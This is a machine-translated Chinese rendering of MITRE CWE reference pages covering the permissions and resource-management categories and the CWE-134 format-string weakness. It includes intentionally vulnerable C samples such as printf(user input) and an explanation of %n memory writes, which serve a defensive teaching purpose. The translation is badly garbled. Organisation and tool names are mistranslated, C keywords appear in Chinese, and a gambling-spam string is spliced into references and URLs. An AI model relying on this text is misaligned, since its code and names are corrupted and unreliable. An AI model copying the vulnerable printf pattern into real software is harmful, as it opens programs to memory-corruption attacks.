HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1339年 精度不足或精度实数
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1389年 不正确的解析数字不同的词根
+笔记

映射

使用映射:禁止(CWE ID不能用来映射到现实世界的漏洞)。

理由是:该条目是一个类别。使用类别映射一直是积极鼓励实践至少自2019年以来。类别是非正式组织分组CWE的弱点,帮助导航和浏览用户,但他们不是自己的弱点(ref - 1287]。这个CWE ID可能已经广泛使用,因为NIST的用法在NVD从2008年到2016年cwe - 635看来,更新的cwe - 10032016年视图)。

评论:大多数number-handling问题可能是后人根据错误的计算(cwe - 682)或不正确的数值类型之间的转换(cwe - 681)。

+引用
(ref - 1287)主教法冠。“补充细节- 2022 CWE前25”。的细节问题映射。2022-06-28。<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html problematicMappingDetails>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-09-08 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2009-10-29 CWE内容团队 主教法冠
更新的关系
2011-03-29 CWE内容团队 主教法冠
更新的关系
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-01-19 CWE内容团队 主教法冠
更新Applicable_Platforms、人际关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms、关系、Taxonomy_Mappings
2019-01-03 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2019-06-20 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新的关系
2021-03-15 CWE内容团队 主教法冠
更新的关系
2021-07-20 CWE内容团队 主教法冠
更新的关系
2022-10-13 CWE内容团队 主教法冠
更新引用关系

CWE类别:权限,权限和访问控制

类别ID: 264
+总结
弱点这类相关的管理权限,权限,和其他用于执行访问控制的安全特性。
+会员
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1345年 OWASP 2021年十大类别A01:2021——破碎的访问控制
+笔记

映射

使用映射:禁止(CWE ID不能用来映射到现实世界的漏洞)。

理由是:该条目是一个类别。使用类别映射一直是积极鼓励实践至少自2019年以来。类别是非正式组织分组CWE的弱点,帮助导航和浏览用户,但他们不是自己的弱点(ref - 1287]。这个CWE ID可能已经广泛使用,因为NIST的用法在NVD从2008年到2016年cwe - 635看来,更新的cwe - 10032016年视图)。

评论:weakness-oriented替代可能会发现一些后裔在不当访问控制(cwe - 284)。注意:使用cwe - 284是气馁;看到cwe - 284的映射。

维护

这个条目严重重叠其他类别和已经明显过时了。
+引用
[REF-7]大卫迈克尔·霍华德和勒布朗。编写安全代码。第七章,“令牌,特权,SIDs, acl,和过程与“218页。第二版。微软出版社。2002-12-04。<https://www.microsoftpressstore.com/store/writing -安全-代码- 9780735617223>。
(ref - 1287)主教法冠。“补充细节- 2022 CWE前25”。的细节问题映射。2022-06-28。<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html problematicMappingDetails>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-09-08 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2010-02-16 CWE内容团队 主教法冠
更新的引用
2011-03-29 CWE内容团队 主教法冠
更新的关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms、Detection_Factors Potential_Mitigations、引用Related_Attack_Patterns、人际关系
2018-03-27 CWE内容团队 主教法冠
更新的引用
2019-06-20 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Maintenance_Notes、人际关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-10-13 CWE内容团队 主教法冠
更新Maintenance_Notes,引用

CWE类别:资源管理错误

类别ID: 399
+总结
这一类的弱点不当相关系统资源的管理。
+会员
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 699年 软件开发
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 73年 外部控制文件名或路径
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 403年 意想不到的控制范围的曝光的文件描述符(文件描述符泄漏)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 410年 足够的资源池
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 470年 使用外部控制输入选择类或代码(“不安全的反思”)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 502年 反序列化的数据不可信
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 619年 悬空数据库游标(光标注入)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 641年 不当限制文件和其他资源的名称
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 694年 与重复使用多个资源标识符
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 763年 无效的指针或引用
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 770年 资源配置没有限制或节流
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 771年 缺少参考活动分配资源
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 772年 失踪后释放资源的有效寿命
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 826年 预期寿命期间过早释放资源
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 908年 使用未初始化资源
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 909年 失踪的初始化资源
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 910年 使用过期的文件描述符
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 911年 不更新的引用计数
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 914年 不当Dynamically-Identified变量的控制
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 915年 控制不当修改动态确定对象的属性
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 920年 不当限制电力消耗
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1188年 不安全的默认初始化资源
+笔记

映射

使用映射:禁止(CWE ID不能用来映射到现实世界的漏洞)。

理由是:该条目是一个类别。使用类别映射一直是积极鼓励实践至少自2019年以来。类别是非正式组织分组CWE的弱点,帮助导航和浏览用户,但他们不是自己的弱点(ref - 1287]。这个CWE ID可能已经广泛使用,因为NIST的用法在NVD从2008年到2016年cwe - 635看来,更新的cwe - 10032016年视图)。

评论:weakness-oriented替代可能会发现一些后裔在不受控制的资源消耗(cwe - 400)。

+引用
(ref - 1287)主教法冠。“补充细节- 2022 CWE前25”。的细节问题映射。2022-06-28。<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html problematicMappingDetails>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-09-08 CWE内容团队 主教法冠
更新的关系,Other_Notes Taxonomy_Mappings
2009-05-27 CWE内容团队 主教法冠
更新的关系
2014-06-23 CWE内容团队 主教法冠
更新Other_Notes
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-01-19 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms Detection_Factors,关系
2019-01-03 CWE内容团队 主教法冠
更新的关系
2019-06-20 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新的关系
2022-10-13 CWE内容团队 主教法冠
更新的引用

cwe - 134:使用外部控制的格式字符串

弱点ID: 134
抽象:基地
结构:简单的
视图定制的信息:
+描述
产品使用一个函数,它接受一个格式字符串作为参数,但格式字符串来自外部源。
+扩展描述

当攻击者可以修改一个外部控制格式字符串,这可能导致缓冲区溢出、拒绝服务或数据表示问题。

应该注意的是,在某些情况下,如国际化,格式字符串的集合是外部控制的设计。如果这些格式的源字符串是可信的(如只包含在库文件由系统管理员可以修改),然后外部控制本身可能不构成弱点。

+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 668年 曝光资源错误的球体
CanPrecede 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 123年 Write-what-where条件
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关观点“软件开发”(cwe - 699)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 133年 字符串错误
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 668年 曝光资源错误的球体
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关观点“七有害的王国”(cwe - 700)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 20. 不正确的输入验证
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
实现 程序员很少计划格式字符串的外部控制。这个弱点经常介绍了构造日志消息的代码,省略了一个常数格式字符串。
实现 在本地化和国际化等情况下,特定于语言的消息存储库可以剥削的大道,但格式字符串的问题将被合成,因为攻击者控制的存储库也将允许修改消息长度,格式和内容。
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

C(通常是普遍的)

c++(通常是普遍的)

Perl(很少普遍)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
保密

技术的影响:读记忆

格式字符串问题允许信息披露会严重简化程序的开发。
完整性
保密
可用性

技术的影响:修改内存;执行未经授权的代码或命令

格式字符串的问题会导致执行任意代码。
+利用的可能性
+示范例子

示例1

下面的程序输出一个字符串作为参数提供。

(坏的代码)
例如语言:C
# include < stdio . h >

空白printWrapper (char *字符串){

printf(字符串);
}

int主要(int命令行参数个数,char * * argv) {

char buf [5012];
memcpy (buf, argv [1], 5012);
printWrapper (argv [1]);
返回(0);
}

例子是可利用的,因为printWrapper调用printf()的()函数。注意:堆栈缓冲区添加使开发更简单。

示例2

下面的代码将命令行参数复制到缓冲区使用snprintf ()。

(坏的代码)
例如语言:C
int主要(int命令行参数个数,char * * argv) {
char buf [128];

snprintf (buf, 128, argv [1]);
}

这段代码,攻击者可以查看堆栈的内容和写堆栈使用命令行参数包含一个格式化的指令序列。攻击者可以通过提供更多的阅读从堆栈格式化指令,如x %,比格式化函数作为参数。(在这个例子中,函数没有参数被格式化)。通过使用% n格式指令,攻击者可以写堆栈,导致snprintf()写的字节数输出到目前为止指定的参数(而不是阅读价值的论点,这是预期的行为)。这种攻击的复杂版本将使用四个交错写入完全控制一个指针在堆栈上的价值。

示例3

某些实现更先进的攻击更容易通过提供格式指令控制的位置在内存中读取或者写入。这些指令的一个例子如以下代码所示,glibc写:

(坏的代码)
例如语言:C
printf (" % d % d % 1 $ d % 1 $ d \ n”, 5、9);

这段代码将生成以下输出:5 9 5 5也可以使用half-writes (% hn)精确控制任意dword在内存中,这大大降低了复杂性需要执行攻击,否则需要四个交错写道,如第一个例子中提到的一个。

+观察到的例子
参考 描述
在Perl程序格式字符串
格式字符串在恶劣syslog调用函数
格式字符串在恶劣syslog调用函数
在NNTP服务器响应格式字符串
格式字符串漏洞利用触发错误或警告,作为演示了通过格式说明符字符串. bmp文件名。
链:不受信任的搜索路径使合成通过加载恶意国际化消息格式字符串
+潜在的缓解措施

阶段:需求

选择一种语言,不受这一缺陷。

实施阶段:

确保所有格式字符串函数通过一个静态的字符串不能由用户控制,并且适当数量的参数总是发送到这个函数。如果可能的话,使用功能不支持格式化字符串% n运营商。(ref - 116][ref - 117]

阶段:构建和编译

运行编译器和链接器警告级别高的,因为他们可能会检测到错误的用法。
+弱点Ordinalities
Ordinality 描述
(其他弱点的弱点存在独立的)
+检测方法

自动静态分析

这个弱点常常可以发现使用自动静态分析工具。许多现代工具使用数据流分析或基于技术来减少假阳性的数量。

黑盒

因为格式字符串通常发生在rarely-occurring错误条件(例如错误消息日志记录),它们可以使用黑盒方法难以检测。很有可能,许多潜在的问题存在于可执行文件,没有相关的源代码(或等效源。

有效性:有限

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析
  • 二进制弱点分析,包括反汇编程序+源代码弱点分析
成本有效的部分报道:
  • 二进制/字节码简单器-字符串,精灵读者等。

有效性:高

人工静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 二进制/字节码反汇编程序,然后使用手动分析缺陷和异常

有效性:飙升部分

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • Web应用程序扫描
  • Web服务的扫描仪
  • 数据库扫描仪

有效性:飙升部分

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 模糊测试
  • 基于框架Fuzzer

有效性:飙升部分

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 手工源代码审查(不检查)
成本有效的部分报道:
  • 关注人工抽查,手动分析来源

有效性:高

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器
成本有效的部分报道:
  • 警告标志

有效性:高

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 正式的方法/ Correct-By-Construction
成本有效的部分报道:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。

有效性:高

+功能区域
  • 日志记录
  • 错误处理
  • 字符串处理
+影响资源
  • 内存
+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 726年 OWASP十大2004类别A5 -缓冲区溢出
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 743年 CERT C安全编码标准(2008)第十章-输入输出(FIO)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 808年 2010年处于25 -弱点
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 845年 CERT甲骨文安全Java编码标准(2011)第二章-输入验证和数据卫生处理(IDS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 865年 2011年前25 -资源管理风险
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 877年 CERT c++安全编码部分09 -输入输出(FIO)
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 884年 CWE横截面
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 990年 SFP二级集群:污染输入命令
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1131年 方案》(2016)——安全质量措施
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1134年 SEI CERT甲骨文Java安全编码标准,指南00。输入验证和数据卫生处理(IDS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1163年 SEI CERT 09 C编码标准指导方针。输入输出(FIO)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1179年 01 SEI CERT Perl编码标准,指导方针。输入验证和数据卫生处理(IDS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1308年 方案及质量措施,安全
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1340年 方案及数据保护措施
+笔记

适用的平台

这个弱点是可能的任何编程语言,支持格式的字符串。

研究的差距

超语言格式字符串问题除了c内存或磁盘消耗,控制流或变量改变,格式字符串和数据损坏可能造成开发在其他语言如Perl编写的应用程序,PHP, Python等。

其他

虽然格式字符串漏洞通常属于缓冲区溢出的类别,在技术上他们不溢出缓冲区。格式字符串漏洞是相当新的(1999年前后),源于这一事实没有现实的方式有数量可变的参数的函数来确定究竟有多少参数传入。最常见的函数变量数量的参数,包括c运行时功能,printf()的调用。格式字符串的问题出现在很多方面。* printf()调用没有格式说明符是危险的,可以利用。例如,printf(输入);是可利用的,printf (y,输入);在这种情况下不是可利用的。第一次调用的结果,使用不当,允许攻击者能够窥视栈内存自输入字符串将被用作格式说明符。攻击者可以把输入字符串格式说明符,并开始阅读堆栈的价值观,因为其余的参数将从堆栈。 Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.

经常有针对性的实体文件的名称、流程名称、标识符。

格式字符串的问题是一个典型的C / c++的问题,现在罕见由于易于发现。格式字符串漏洞可以利用的一个主要原因是由于% n运营商。n %操作符将写的字符数,已打印的格式字符串因此,指向的内存参数。通过技术创建一个格式字符串,恶意用户可能使用栈上的值来创建一个write-what-where条件。一旦实现,它们可以执行任意代码。可以使用其他运营商;例如,9999年代%操作符也可能引发缓冲区溢出,或当用于file-formatting功能如流,它可以产生比预期更大的输出。

+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 格式字符串漏洞
7有害的王国 格式字符串
格式字符串的问题
CERT C安全编码 FIO30-C 确切的 排除用户输入的格式字符串
CERT C安全编码 FIO47-C CWE更具体 使用有效的格式字符串
OWASP十大2004 A1 CWE更具体 用户输入
WASC 6 格式字符串
CERT甲骨文安全Java编码标准(2011) IDS06-J 排除用户输入的格式字符串
SEI CERT Perl编码标准 IDS30-PL 确切的 排除用户输入的格式字符串
软件故障模式 SFP24 污染输入命令
OMG ASCSM ASCSM -cwe - 134
+引用
(ref - 116)史蒂夫Christey。“Perl程序格式字符串漏洞”。<http://www.securityfocus.com/archive/1/418460/30/0/threaded>。
(ref - 117)哈尔伯奇和罗伯特·c·Seacord。“编程语言格式字符串漏洞”。<http://www.ddj.com/dept/security/197002914>。
(ref - 118)蒂姆N万博下载包ewsham。“格式化字符串攻击”。Guardent。2000-09-09。<http://www.the万博下载包newsh.com/ ~ newsham / format-string-attacks.pdf>。
[REF-7]大卫迈克尔·霍华德和勒布朗。编写安全代码。第五章,147页“格式字符串错误”。第二版。微软出版社。2002-12-04。<https://www.microsoftpressstore.com/store/writing -安全-代码- 9780735617223>。
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪6:格式字符串的问题。”Page 109. McGraw-Hill. 2010.
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第八章,“C格式字符串”,422页。1版。艾迪生卫斯理》2006。
(ref - 962)对象管理组织(OMG)。“自动源代码安全措施(ASCSM)”。ascsm - cwe - 134。2016 - 01。<http://www.omg.org/spec/ASCSM/1.0/>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-08-01 股的分析
添加/更新白盒定义
2008-09-08 CWE内容团队 主教法冠
更新Applicable_Platforms、Common_Consequences Detection_Factors Modes_of_Introduction,关系,Other_Notes, Research_Gaps, Taxonomy_Mappings Weakness_Ordinalities
2008-11-24 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2009-03-10 CWE内容团队 主教法冠
更新的关系
2009-05-27 CWE内容团队 主教法冠
更新Demonstrative_Examples
2009-07-17 股的分析
改善了White_Box_Definition
2009-07-27 CWE内容团队 主教法冠
更新White_Box_Definitions
2010-02-16 CWE内容团队 主教法冠
更新Detection_Factors、引用关系,Taxonomy_Mappings
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences、关系、Taxonomy_Mappings
2011-06-27 CWE内容团队 主教法冠
更新Modes_of_Introduction、人际关系
2011-09-13 CWE内容团队 主教法冠
更新Potential_Mitigations、引用关系,Taxonomy_Mappings
2012-05-11 CWE内容团队 主教法冠
更新Observed_Examples、引用关系,Taxonomy_Mappings Related_Attack_Patterns
2014-07-30 CWE内容团队 主教法冠
更新Demonstrative_Examples Detection_Factors,关系,Taxonomy_Mappings
2015-12-07 CWE内容团队 主教法冠
更新描述、Modes_of_Introduction名称、关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms、Causal_Nature Functional_Areas、Likelihood_of_Exploit Other_Notes,引用关系,Taxonomy_Mappings White_Box_Definitions
2018-03-27 CWE内容团队 主教法冠
更新的引用
2019-01-03 CWE内容团队 主教法冠
更新引用关系,Taxonomy_Mappings
2019-06-20 CWE内容团队 主教法冠
更新的关系
2019-09-19 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Detection_Factors、人际关系
2020-08-20 CWE内容团队 主教法冠
更新的关系
2020-12-10 CWE内容团队 主教法冠
更新Common_Consequences、人际关系
2021-03-15 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2023-01-31 CWE内容团队 主教法冠
更新描述
+以前的条目名称
改变日期 以前的条目名称
2015-12-07 不受控制的格式字符串
更多的信息是可用的,请选择一个不同的过滤器。
页面最后更新:2023年1月31日